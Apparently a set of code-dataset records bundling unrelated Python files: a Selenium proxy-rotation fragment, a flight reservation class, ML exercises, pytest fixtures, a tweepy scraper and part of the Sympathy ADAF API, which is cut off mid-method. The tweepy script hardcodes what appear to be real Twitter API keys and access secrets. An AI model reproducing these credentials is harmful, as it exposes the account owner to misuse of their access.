proxyChange(i)\r\n\r\n\r\n profile = webdriver.FirefoxProfile() \r\n profile.set_preference(\"network.proxy.type\", 1)\r\n profile.set_preference(\"network.proxy.http\", pp[0] )\r\n profile.set_preference(\"network.proxy.http_port\", int(pp[1]))\r\n profile.set_preference(\"network.proxy.ssl\", pp[0])\r\n profile.set_preference(\"network.proxy.ssl_port\", int(pp[1]))\r\n profile.set_preference(\"general.useragent.override\",\"whater_useragent\")\r\n profile.update_preferences()\r\n return webdriver.Firefox(firefox_profile=profile) \r\n\r\n def FixProxy():\r\n profile = webdriver.Firefox()\r\n profile.set_preference(\"network.proxy.type\", 0)\r\n return webdriver.Firefox(firefox_profile=profile)\r\n\r\n driver = ChangeProxy(ProxyHost ,ProxyPort)\r\n time.sleep(20)\r\n i+=1\r\n \r\n except:\r\n print(\"fail\") \r\n\r\n\r\n \r\n \r\n \r\n \r\n #continue\r\n\r\n except:\r\n\r\n \r\n \r\n val = False\r\n\r\n\r\n","sub_path":"gglev3i.py","file_name":"gglev3i.py","file_ext":"py","file_size_in_byte":3892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"329980936","text":"class Planes:\n\n def __init__(self):\n self.allPlanes = [[0, 0] for i in range(20)]\n self.allUsers = dict()\n\n def __str__(self):\n s = \"\"\n for i, pln in enumerate(self.allPlanes):\n s += \"Plane \" + str(i+1) +\":\\t\"+ str(pln) +\"\\t\\t\"\n if(i%2 == 1):\n s+= \"\\n\"\n return s\n\n def fillPlane(self, eventsLog):\n for event in eventsLog:\n if event.type == \"cancel\":\n self.deleteReservation(event)\n elif event.type == \"reserve\":\n self.makeReservation(event) \n \n def checkSpot(self, event):\n for pln in event.planes:\n if self.allPlanes[pln -1][0] != 0 and self.allPlanes[pln -1][1] != 0:\n return False\n return True\n\n def makeReservation(self,event):\n for pln in event.planes:\n if self.allPlanes[pln -1][0] == 0 or self.allPlanes[pln -1][0] == event:\n self.allPlanes[pln -1][0] = event\n elif self.allPlanes[pln -1][1] == 0 or self.allPlanes[pln -1][1] == event:\n self.allPlanes[pln -1][1] = event\n #elif self.allPlanes[pln -1][0] != 0 and self.allPlanes[pln -1][1] != 0:\n #print(\"ERROR!!!!- Log has been double booked!\")\n #print(event)\n #else:\n # print(\"HUH, should never get here 1\")\n\n if event.user in self.allUsers.keys():\n self.allUsers[event.user].add(tuple(event.planes))\n else:\n self.allUsers[event.user] = set()\n self.allUsers[event.user].add(tuple(event.planes))\n\n \n\n def deleteReservation(self, event):\n #if event.user not in self.allUsers.keys():\n #print(\"ERROR!!!!- Delete not possible!\")\n #print(event)\n #return\n #print(self.allUsers[event.user])\n for pln in self.allUsers[event.user]:\n for p in pln:\n if self.allPlanes[p -1][0] !=0 and event.user == self.allPlanes[p -1][0].user:\n self.allPlanes[p -1][0] = 0\n elif self.allPlanes[p -1][1] !=0 and event.user == self.allPlanes[p -1][1].user:\n self.allPlanes[p -1][1] = 0\n self.allUsers.pop(event.user)\n \n def getView(self):\n temp = list()\n for key, value in self.allUsers.items():\n l = list()\n for v in value:\n l = l + list(v)\n tup = (key, l)\n temp.append(tup) \n return sorted(temp)","sub_path":"bin/planes.py","file_name":"planes.py","file_ext":"py","file_size_in_byte":2537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"577080296","text":"# Uses python3\n\n# Submission output: Good job! (Max time used: 0.02/5.00, max memory used: 9396224/536870912.)\n\ndef calc_fib(n):\n if (n < 2):\n return n\n\n minus2 = 0\n minus1 = 1\n\n for i in range(2,n):\n temp = minus1\n minus1 = (minus1 + minus2)\n minus2 = temp\n\n return (minus1 + minus2)\n\n\nn = int(input())\nprint(calc_fib(n))\n\n","sub_path":"algorithmic_toolbox/week2/fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"371940703","text":"import os, pytest, uuid, json\nfrom tests.mock_requests import MockResponse\nfrom dotenv import load_dotenv\nfrom afs import models\nimport time\nimport base64\n\n@pytest.fixture(scope=\"session\")\ndef model_file():\n with open(\"unit_test_model\", \"w\") as f:\n f.write(\"unit test\")\n yield\n\n os.remove(\"unit_test_model\")\n if os.path.exists(\"delete_mr_and_model\"):\n os.remove(\"delete_mr_and_model\")\n\n\n@pytest.fixture(scope=\"session\")\ndef model_repository_name():\n return \"mr_{0}\".format(time.strftime(\"%H%M%S\"))\n\n\n@pytest.fixture(scope=\"session\")\ndef blob_info():\n return {\n 'blob_endpoint': os.getenv('blob_endpoint'),\n 'blob_accessKey': os.getenv('blob_accessKey'),\n 'blob_secretKey': os.getenv('blob_secretKey'),\n 'bucket_name': os.getenv('bucket_name'),\n }\n\n\n@pytest.fixture(scope=\"function\")\ndef afs_models(test_env):\n my_models = models()\n yield my_models\n\n\n@pytest.fixture(scope=\"function\")\ndef afs_models_blob(test_env):\n my_models = models()\n blob_endpoint = os.getenv(\"blob_endpoint\", None)\n blob_accessKey = os.getenv(\"blob_accessKey\", None)\n blob_secretKey = os.getenv(\"blob_secretKey\", None)\n bucket_name = os.getenv(\"bucket_name\", None)\n blob_record_id = os.getenv(\"blob_record_id\", None)\n\n my_models.set_blob_credential(\n blob_endpoint, \n blob_accessKey, \n blob_secretKey,\n blob_record_id,\n bucket_name,\n )\n yield my_models\n\n\n@pytest.fixture(scope=\"function\")\ndef model_repository(afs_models, model_repository_name):\n yield afs_models.create_model_repo(model_repository_name=model_repository_name)\n\n\n@pytest.fixture(scope=\"function\")\ndef clean_mr(afs_models, model_repository_name):\n try:\n afs_models.delete_model_repository(model_repository_name=model_repository_name)\n except Exception as e:\n print(e)\n\n@pytest.fixture(scope=\"function\")\ndef model(clean_mr, afs_models, model_repository, model_file, model_repository_name):\n yield afs_models.upload_model(\n model_path=\"unit_test_model\",\n extra_evaluation={\"extra_loss\": 1.23},\n model_repository_name=model_repository_name,\n model_name=\"test_model\",\n )\n\n\n@pytest.fixture(scope=\"function\")\ndef delete_model_respository(afs_models, model_repository_name):\n yield\n afs_models.delete_model_repository(model_repository_name=model_repository_name)\n\n\n@pytest.fixture(scope=\"function\")\ndef delete_mr_and_model(afs_models, model_repository_name):\n yield\n try:\n afs_models.delete_model(\n model_name=\"test_model\", model_repository_name=model_repository_name\n )\n except Exception as e:\n pass\n\n try:\n afs_models.delete_model_repository(\n model_repository_name=model_repository_name\n )\n except Exception as e:\n pass\n\n\n@pytest.fixture(scope=\"function\")\ndef apm_node_env():\n pai_data_dir = {\"type\": \"apm-firehose\", \"data\": {\"machineIdList\": [3]}}\n # os.environ[\"PAI_DATA_DIR\"] = str(base64.b64encode(json.dumps(pai_data_dir)), 'utf-8')\n os.environ[\"PAI_DATA_DIR\"] = str(base64.b64encode(bytes(json.dumps(pai_data_dir), 'utf-8')), 'utf-8')\n yield\n del os.environ[\"PAI_DATA_DIR\"]\n\n\n@pytest.fixture(scope=\"function\")\ndef error1_apm_node_env():\n pai_data_dir = \"123\"\n os.environ[\"PAI_DATA_DIR\"] = pai_data_dir\n yield\n del os.environ[\"PAI_DATA_DIR\"]\n\n\n@pytest.fixture(scope=\"function\")\ndef big_model():\n big_model_filename = \"big_model.h5\"\n if not os.path.exists(big_model_filename):\n f = open(big_model_filename, \"wb\")\n # f.seek((301 * 1024 * 1024 + 1) - 1)\n f.seek((1 * 1024 * 1024 + 1) - 1)\n f.write(b\"\\0\")\n f.close()\n\n yield big_model_filename\n\n\n@pytest.fixture(scope=\"function\")\ndef afs_models_with_error_blob():\n my_models = models()\n blob_endpoint = os.getenv(\"blob_endpoint\", None)\n encode_blob_accessKey = os.getenv(\"blob_accessKey\", None)\n encode_blob_secretKey = \"NDhkZTU1MGFjOTEwNGI3MTk4N2RjZGQ5ZWFjMTI0OTk=\"\n bucket_name = os.getenv(\"bucket_name\", None)\n blob_record_id = os.getenv(\"blob_record_id\", None)\n\n my_models.set_blob_credential(\n blob_endpoint, encode_blob_accessKey, encode_blob_secretKey, blob_record_id, bucket_name\n )\n yield my_models\n\n\n@pytest.fixture(scope=\"function\")\ndef afs_models_token(test_param_token):\n my_models = models(\n target_endpoint=test_param_token[\"afs_url\"],\n instance_id=test_param_token[\"instance_id\"],\n token=test_param_token[\"token\"],\n )\n yield my_models\n\n\n@pytest.fixture(scope=\"session\")\ndef model_metafile():\n with open(\"unit_test_metafile\", \"w\") as f:\n f.write(\"unit test\")\n yield \"unit_test_metafile\"\n\n if os.path.exists(\"unit_test_metafile\"):\n os.remove(\"unit_test_metafile\")\n\n\n@pytest.fixture(scope=\"function\")\ndef delete_mr_and_metafile(afs_models, model_repository_name):\n yield\n try:\n afs_models.delete_model_metafile(\n name=\"test_metafile\", model_repository_name=model_repository_name\n )\n except Exception as e:\n print(e)\n\n try:\n afs_models.delete_model_repository(\n model_repository_name=model_repository_name\n )\n except Exception as e:\n pass\n\n","sub_path":"tests/v2/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":5250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"145004687","text":"import sys\ninput = sys.stdin.readline\nsys.setrecursionlimit(10 ** 7)\n\nn, a, b = map(int, input().split())\nif abs(a - b) % 2 == 0:\n print(abs(a - b) // 2)\nelse:\n small, big = min(a, b), max(a, b)\n print(min(\n (small - 1) + 1 + ((big - (small - 1) - 1 - 1) // 2),\n (n - big) + 1 + ((n - (small + (n - big) + 1)) // 2)\n ))\n","sub_path":"grand_contest/041/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"524369251","text":"import numpy as np\nimport json\nfrom collections import defaultdict\nfrom util import *\n#import matplotlib.pyplot as plt\n\nclass obj_size:\n def __init__(self, dir, o_file):\n with open(dir + \"/\" + o_file, \"r\") as read_file:\n size_dst = json.load(read_file)\n\n sizes = list(size_dst.keys())\n sizes = [int(x.encode(\"utf-8\")) for x in sizes]\n sizes.sort() \n\n req_sizes = defaultdict(int)\n for s in sizes:\n sz = int(s)\n s = unicode(str(s), \"utf-8\")\n count = size_dst[s]\n req_sizes[sz] += count\n \n sizes = []\n size_prs = []\n req_sizes_keys = list(req_sizes)\n req_sizes_keys.sort()\n for s in req_sizes_keys:\n if s > 0:\n sizes.append(s)\n size_prs.append(req_sizes[s])\n\n sum_pr = sum(size_prs)\n size_prs = [float(p)/sum_pr for p in size_prs]\n self.size_dst = size_prs\n self.size_prs = np.cumsum(size_prs)\n self.sizes = sizes\n\n #plt.plot(self.sizes, self.size_prs, label=\"distribution\")\n\n def get_objects(self, no_objects):\n return np.random.choice(self.sizes, no_objects, p=self.size_dst)\n","sub_path":"final_code/obj_size_dst.py","file_name":"obj_size_dst.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"578124091","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.optimize as opt\n\n\ndef sigmoid(X):\n return 1 / (1 + np.exp(-X))\n\n\ndef costFunction(theta, X, y, lamda):\n theta = np.reshape(theta, (X.shape[1], 1))\n sig = sigmoid(np.dot(X, theta))\n m = X.shape[0]\n cost = (np.dot(-y.T, np.log(sig)) - np.dot(1 - y.T, np.log(1 - sig))) / m\n cost = cost + np.dot(theta.T[0, 1:], theta[1:, 0]) * lamda / (2 * m)\n return cost\n\n\ndef gradient(theta, X, y, lamda):\n theta = np.reshape(theta, (X.shape[1], 1))\n m = X.shape[0]\n sig = sigmoid(np.dot(X, theta))\n theta[0] = 0\n grad = np.zeros([X.shape[1], 1])\n grad = np.dot(X.T, (sig - y)) / m\n grad = grad + theta * lamda / m\n return grad\n\n\ndef plotDecisionBoundary(theta, X, y):\n x1_min = np.min(X[:, 1])\n x1_max = np.max(X[:, 1])\n x1 = np.arange(x1_min, x1_max, 0.5)\n x2 = -(theta[0] + theta[1] * x1) / theta[2]\n plt.plot(x1, x2, '-')\n plt.legend(['decision boundary', 'Admitted', 'not Admitted'], loc='upper right')\n\n plt.show()\n\n\ndef plotdata(X, y):\n postive = np.where(y > 0.5)\n negtive = np.where(y < 0.5)\n plt.scatter(X[postive[0], 0], X[postive[0], 1], marker='o', c='g')\n plt.scatter(X[negtive[0], 0], X[negtive[0], 1], marker='x', c='r')\n\n\n# Part 1: Plotting\ndata = np.loadtxt('../data/ex2data1.txt', delimiter=',')\nX = data[:, 0:2]\ny = data[:, 2:3]\nprint('X:', X.shape)\nprint('y:', y.shape)\n\nplotdata(X, y)\nplt.xlabel('exam 1 score')\nplt.ylabel('exam 2 score')\nplt.legend(['Admitted', 'not Admitted'], loc='upper right')\n\n# Part 2: Compute Cost and Gradient\n[m, n] = X.shape\nones = np.ones((m, 1))\nX = np.column_stack((ones, X))\ninitial_theta = np.zeros((n + 1, 1))\nlamda = 0\ncost = costFunction(initial_theta, X, y, lamda)\ngrad = gradient(initial_theta, X, y, lamda)\nprint(\"Cost at initial theta (zeros):\", cost)\nprint('Expected cost (approx): 0.693')\nprint('Gradient at initial theta (zeros):\\n', grad)\nprint('Expected gradients (approx):\\n -0.1000\\n -12.0092\\n -11.2628')\n\ntest_theta = [[-24], [0.2], [0.2]]\ncost = costFunction(test_theta, X, y, lamda)\ngrad = gradient(test_theta, X, y, lamda)\nprint('Cost at test theta:', cost)\nprint('Expected cost (approx): 0.218')\nprint('Gradient at test theta:\\n', grad)\nprint('Expected gradients (approx):\\n 0.043\\n 2.566\\n 2.647')\n# Part 3: Optimizing using fminunc\n\nresult = opt.minimize(fun=costFunction,\n x0=initial_theta,\n args=(X, y, lamda),\n method='TNC',\n jac=gradient)\nprint('Cost at theta found by fminunc:', result.fun)\nprint('Expected cost (approx): 0.203')\nprint('theta:', result.x)\nprint('Expected theta (approx):')\nprint('-25.161\\n 0.206\\n 0.201')\n# Plot Boundary\ntheta = result.x\nplotDecisionBoundary(theta, X, y)\nplt.legend(['decision boundary', 'Admitted', 'not Admitted'], loc='upper right')\n# Part 4: Predict and Accuracies\nprob = sigmoid(np.dot([1, 45, 85], theta))\nprint('For a student with scores 45 and 85, we predict an admission')\nprint('probability of', prob)\n\nh = sigmoid(np.dot(X, theta))\nindex = np.where(h >= 0.5)\np = np.zeros([m, 1])\np[index] = 1\nprob = np.mean(np.double(p == y)) * 100\nprint('Train Accuracy:', prob)\nprint('Expected accuracy (approx): 89.0')","sub_path":"tests/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"408780586","text":"import json\nimport tweepy\nfrom tweepy import Stream\nfrom tweepy.streaming import StreamListener\nfrom tweepy import OAuthHandler\nimport pandas as pd\nimport pickle\nimport sys\n\narg=sys.argv\nprint(sys.argv)\n\n\nconsumer_key = 'w87sF4cjjFylzzyCd4mmTVfW3'\nconsumer_secret = 'QSomS57CVwOZWHoK9Bl2yt2PdBImgxftulZeGSraq4n9vJzGFh'\naccess_token = '293210492-tjb5kNx8Iupi4Yq4vTlk3vuXCTM3XWqxALnoyIak'\naccess_secret = 'g6IjmWVWljTp9OjrFBZddiIyzjFC9251S7brov3RHT3hU'\n\nauth = OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_token, access_secret)\n\napi = tweepy.API(auth)\n#places = api.geo_search(query=\"MEXICO\", granularity=\"country\")\n#place_id = places[0].id\n\ndatos_tweets={}\ndatos_tweets.setdefault('id',{})\ndatos_tweets['id'].setdefault('date',[])\ndatos_tweets['id'].setdefault('texts',[])\ndatos_tweets['id'].setdefault('user_id',[])\ndatos_tweets['id'].setdefault('retweet_count',[])\n\n\n#print(place_id) \nfor tweet in tweepy.Cursor(api.search, q=arg[1], lang=\"es\", since=arg[2], until=arg[3]).items():\n\tif not hasattr(tweet,'retweeted_status'):\t\n\t\tdatos_tweets['id']['date'].append(tweet.created_at.isoformat())\n\t\tdatos_tweets['id']['texts'].append(tweet.text)\n\t\tdatos_tweets['id']['user_id'].append(tweet.user.id)\n\t\tdatos_tweets['id']['retweet_count'].append(tweet.retweet_count)\n\n\nwith open(arg[1]+'_'+arg[2]+'.json', 'w') as fp:\n json.dump(datos_tweets, fp)\n\nprint(pd.DataFrame(datos_tweets))\n","sub_path":"pruebas/test5.py","file_name":"test5.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"351381795","text":"import pandas as pd\nimport numpy as np\nimport pickle\n\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn import preprocessing\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import classification_report,confusion_matrix\n\n\ndef TrainModel(filename = 'crx.data', test_size = 0.25, model = 'lgr', solver = 'lbfgs', hidden_layer_sizes=(8,8,8), max_iter = 10000):\n\n #Reading data Credit card applications data\n df = pd.read_csv(filename, header=None) \n\n #Handling the missing values\n df = df.replace('?', np.nan)\n df = df.dropna()\n #Preprocessing the data\n for index in range(len(df.columns)):\n le = preprocessing.LabelEncoder()\n le.fit(df[index])\n enfilename = 'Data\\le' + str(index) + '.pkl'\n pickle.dump(le, open(enfilename, 'wb'))\n df[index] = le.transform(df[index])\n #Splitting the dataset into train and test sets\n target_column = [15]\n predictors = list(set(list(df.columns))-set(target_column))\n lfilename = 'Data\\\\max.list'\n pickle.dump(df[predictors].max(), open(lfilename, 'wb'))\n df[predictors] = df[predictors]/df[predictors].max()\n X = df[predictors].values\n Y = df[target_column].values\n X_train, X_test, y_train, y_test = train_test_split(X, Y, test_size = test_size, random_state=40)\n\n\n\n #Fitting a logistic regression model to the train set\n if model == 'nn':\n TM = MLPClassifier(hidden_layer_sizes=hidden_layer_sizes, activation='logistic', solver = solver, max_iter=max_iter)\n elif model == 'lgr':\n TM = LogisticRegression(solver=solver, max_iter=max_iter)\n \n \n TM.fit(X_train,y_train.ravel())\n predict_train = TM.predict(X_train)\n predict_test = TM.predict(X_test)\n\n # save the model to disk\n filename = 'Data\\\\' + model + '.sav'\n pickle.dump(TM, open(filename, 'wb'))\n\n \n\n #Making predictions and evaluating performance\n print(confusion_matrix(y_train,predict_train))\n print(classification_report(y_train,predict_train))\n\n print(confusion_matrix(y_test,predict_test))\n print(classification_report(y_test,predict_test))\n\n \n return TM.score(X_test,y_test)\n \n","sub_path":"Credit Card Approval - (Abdul Wahab - 1751004) (Furqan Mazhar - 1851016)/Training_Model.py","file_name":"Training_Model.py","file_ext":"py","file_size_in_byte":2228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"116590120","text":"#This is a comment\n\n#The following is the import section\n#This brings in other python files that have pre-defined functions in them\n#This will be present in every single program you write\nfrom math import *\nimport numpy as np\n\n#Here is where you can place any functions you might use in your code\n\ndef f(x):\n #here is a math function defintition\n tmp = sin(x)/x\n #Now we want to return the value\n return tmp\n\ndef area_volume(d):\n #return cross-sectional area and volume of a sphere\n #area = pi/4*d^2\n #volume = pi/6*d^3\n area = pi/4*d**2\n volume = pi/6*d**3\n return area, volume #you can return area and volume (multiple return values)\n\ndef float_list(start,stop,space):\n #return a list that starts with 0, ends with 1, and has spacing of 0.1\n x = []\n n = (int)((stop-start)/space)\n for i in range(0,n+1):\n dx=i*space\n x.append(start+dx)\n return x\n\ndef vol_area_ratio(d):\n area,volume = area_volume(d)\n return volume/area\n\ndef main():\n #Let's call our function f and print a result\n x = pi/4\n print(f(x))\n\n\n print()\n\n #Now let's make a list of x values\n xlist = [pi/2,3*pi/2,2*pi] #avoiding zero\n for xval in xlist:\n print(f(xval))\n\n print()\n\n #Now let's receive two things\n diam = 30 #cm\n area,volume = area_volume(diam) #this is how you receive multiple returns from a function\n print(\"For a diameter of %5.3f cm the area is %5.3f cm^2 and volume is %5.3f cm^3\" % (diam,area,volume))\n\n print()\n\n #get a float list with start = 0, stop = 1, spacing = 0.1\n print(float_list(0.0,1.0,0.1))\n\n print()\n\n #return volume/area (note function calling a function\n print(\"For a diameter of %5.3f cm the volume to area ration is is %5.3f cm\" % (diam,vol_area_ratio(diam)))\n\n\n\n#please just leave this and don't change it...\n#these next two lines make sure main() runs everytime this code file is executed\nif __name__ == '__main__':\n main()\n\n\n\n\n\n\n\n\n\n\n","sub_path":"old/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":1980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"620885013","text":"# Copyright (c) 2013, System Engineering Software Society\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n# * Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# * Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n# * Neither the name of the System Engineering Software Society nor the\n# names of its contributors may be used to endorse or promote products\n# derived from this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED.\n# IN NO EVENT SHALL SYSTEM ENGINEERING SOFTWARE SOCIETY BE LIABLE FOR ANY\n# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\"\"\"\nAPI for working with the ADAF type.\n\nImport this module like this::\n\n from sympathy.api import adaf\n\n\nThe ADAF structure\n------------------\nAn ADAF consists of three parts: meta data, results, and time series.\n\nMeta data contains information about the data in the ADAF. Stuff like when,\nwhere and how it was measured or what parameter values were used to generated\nit. A general guideline is that the meta data should be enough to (at least in\ntheory) reproduce the data in the ADAF.\n\nResults and time series contain the actual data. Results are always scalar\nwhereas the time series can have any number of values.\n\nTime series can come in several systems and each system can contain several\nrasters. Each raster in turn has one basis and any number of time series. So\nfor example an experiment where some signals are sampled at 100Hz and others\nare sampled only once per second would have (at least) two rasters. A basis\ndoesn't have to be uniform but can have samples only every now and then.\n\n.. TODO: When to use ADAF and why not just use several tables.\n\n.. _accessing_adaf:\n\nAccessing the data\n------------------\nThe :class:`adaf.File` object has two members called ``meta`` and ``res``\ncontaining the meta data and results respectively. Both are :class:`Group`\nobjects.\n\nExample of how to use ``meta`` (``res`` is completely analogous):\n >>> from sympathy.api import adaf\n >>> import numpy as np\n >>> f = adaf.File()\n >>> f.meta.create_column(\n ... 'Duration', np.array([3]), {'unit': 'h'})\n >>> f.meta.create_column(\n ... 'Relative humidity', np.array([63]), {'unit': '%'})\n >>> print f.meta['Duration'].value()\n [3]\n >>> print f.meta['Duration'].attr['unit']\n\n\nTime series can be accessed in two different ways. Either via the member\n``sys`` or via the member ``ts``. Using sys is generally recommended since\n``ts`` handles multiple time series with the same name across different rasters\npoorly. Using the member ``tb`` should be considered obsolete.\n\nExample of how to use sys:\n >>> f.sys.create('Measurement system')\n >>> f.sys['Measurement system'].create('Raster1')\n >>> f.sys['Measurement system']['Raster1'].create_basis(\n ... np.array([0.01, 0.02, 0.03]),\n ... {'unit': 's'})\n >>> f.sys['Measurement system']['Raster1'].create_signal(\n ... 'Amount of stuff',\n ... np.array([1, 2, 3]),\n ... {'unit': 'kg'})\n >>> f.sys['Measurement system']['Raster1'].create_signal(\n ... 'Process status',\n ... np.array(['a', 'b', 'c']),\n ... {'description': 'a=awesome, b=bad, c=critical'})\n >>> f.sys.keys()\n ['Measurement system']\n >>> f.sys['Measurement system'].keys()\n ['Raster1']\n >>> f.sys['Measurement system']['Raster1'].keys()\n ['Signal1', 'Signal2']\n >>> print f.sys['Measurement system']['Raster1']['Signal1'].t\n [ 0.01 0.02 0.03]\n >>> print f.sys['Measurement system']['Raster1']['Signal1'].y\n [1 2 3]\n >>> print f.sys['Measurement system']['Raster1']['Signal1'].unit()\n kg\n\nThe rasters are of type :class:`RasterN`.\n\n\nClass :class:`adaf.File`\n------------------------\n.. autoclass:: File\n :members:\n\nClass :class:`text.FileList`\n----------------------------\n.. autoclass:: FileList\n :members: __getitem__, append\n\nClass :class:`Group`\n--------------------\n.. autoclass:: Group\n :members:\n\nClass :class:`RasterN`\n----------------------\n.. autoclass:: RasterN\n :members:\n\nClass :class:`Timeseries`\n-------------------------\n.. autoclass:: Timeseries\n :members:\n\nClass :class:`Column`\n---------------------\n.. autoclass:: Column\n :members:\n\"\"\"\nfrom collections import OrderedDict\nfrom datetime import datetime\nfrom getpass import getuser\nfrom os import getenv\nimport sys\nimport numpy as np\n\nfrom . import table as ttable\nfrom .. types import sybase\nfrom .. types import sylist\nfrom .. types import types\nfrom .. types.factory import typefactory\nfrom .. utils import filebase\nfrom .. utils.dtypes import get_pretty_type\nfrom .. utils.prim import combined_key\nfrom .. platform import exceptions\nfrom .. utils.context import inherit_doc\n\nfs_encoding = sys.getfilesystemencoding()\n\n\ndef datetime_to_isoformat_string(datetime_object):\n return datetime_object.isoformat()\n\n\ndef isoformat_string_to_datetime(isoformat_string):\n try:\n return datetime.strptime(\n isoformat_string, \"%Y-%m-%dT%H:%M:%S.%f\")\n except ValueError:\n return datetime.strptime(\n isoformat_string, \"%Y-%m-%dT%H:%M:%S\")\n\n\ndef is_adaf(scheme, filename):\n return File.is_type(filename, scheme)\n\n\ndef is_adafs(scheme, filename):\n return FileList.is_type(filename, scheme)\n\n\ndef plural(count):\n \"\"\"\n Return plural word ending for english.\n I.e. u's' if count != 1 else u''.\n \"\"\"\n return u's' if count != 1 else u''\n\n\ndef non_unique(values):\n \"\"\"Return a set of non-unique values for iterable values.\"\"\"\n dups = set()\n for i, value in enumerate(values):\n # Only look forward, cause we already checked earlier values\n if value in values[i+1:]:\n dups.add(value)\n return dups\n\n\ndef check_raster_bases(sys):\n \"\"\"Return a list of all raster that have no basis.\"\"\"\n rasters_wo_bases = []\n for sname, system in sys.items():\n for rname, raster in system.items():\n try:\n raster.basis_column()\n except KeyError:\n if sname:\n rasters_wo_bases.append(u\"'{}'/'{}'\".format(sname, rname))\n else:\n rasters_wo_bases.append(u\"'{}'\".format(rname))\n return rasters_wo_bases\n\n\ndef sys_warnings(sys):\n \"\"\"\n Return a list of string warnings for a mapping of rasters.\n Warns about rasters without bases and conflicting time series names.\n \"\"\"\n systems = [system for system in sys.keys()]\n rasters = []\n for system in systems:\n rasters.extend(sys[system].values())\n ts = []\n for raster in rasters:\n ts.extend(raster.keys())\n lines = []\n\n # Warn about name conflicts\n name_conflicts = non_unique(ts)\n if name_conflicts:\n c = len(name_conflicts)\n if c != 1:\n lines.append(\n u\"Warning: {} time series names \"\n u\"occur more than once.\".format(c))\n else:\n lines.append(\n u\"Warning: Time series name '{}' \"\n u\"occur more than once.\".format(name_conflicts.pop()))\n\n # Warn about rasters without bases\n rasters_wo_bases = check_raster_bases(sys)\n if rasters_wo_bases:\n c = len(rasters_wo_bases)\n if c != 1:\n lines.append(u\"Warning: {} rasters have no bases\".format(c))\n else:\n lines.append(u\"Warning: Raster '{}' has no basis\".format(\n rasters_wo_bases[0]))\n return lines\n\n\ndef descriptive_narray(name, narray):\n return u\" .{0} => {1}\".format(name, short_narray(narray))\n\n\ndef short_narray(narray):\n # Temporarily change the way numpy prints\n old_options = np.get_printoptions()\n np.set_printoptions(precision=4, suppress=True, threshold=12)\n pretty_narray = repr(narray)\n np.set_printoptions(**old_options)\n return pretty_narray\n\n\n@filebase.typeutil('sytypealias adaf = (meta: sytable, res: sytable, root: sytable, sys:{(attr:sytable, data:{(attr:sytable, data:sytable)})})')\n@inherit_doc\nclass File(filebase.FileBase):\n \"\"\"\n File represents the top level of the ADAF format.\n\n Any node port with the *ADAF* type will produce an object of this kind.\n\n Use the members ``meta``, ``res`` and ``sys`` to access the data.\n See :ref:`accessing_adaf` for an example.\n \"\"\"\n VERSION = '1.2'\n\n def _extra_init(self, gen, data, filename, mode, scheme, source):\n if source:\n self.source(source)\n else:\n self.meta = Group(self._data.meta, name=\"meta\")\n self.res = Group(self._data.res, name=\"res\")\n self.root = Group(self._data.root, name=\"root\")\n self.sys = SystemGroupContainer(self._data.sys, name='sys')\n\n self.ts = TimeseriesGroup(self.sys)\n\n if mode != 'r':\n\n if not self.package_id():\n self.__set_package_id()\n if not self.timestamp():\n self.__set_timestamp()\n if not self.user_id():\n self.__set_user_id()\n if not self._get_file_attribute('version'):\n self.__set_version()\n\n @property\n def tb(self):\n raise Exception(\"Avoid using 'tb' member, use 'sys' instead.\")\n\n @tb.setter\n def tb(self, value):\n raise Exception(\"Avoid using 'tb' member, use 'sys' instead.\")\n\n def hjoin(self, other_adaf):\n \"\"\"HJoin ADAF with other ADAF. See also node :ref:`HJoin ADAF`.\"\"\"\n self.meta.hjoin(other_adaf.meta)\n self.res.hjoin(other_adaf.res)\n self.sys.hjoin(other_adaf.sys)\n\n def vjoin(self, 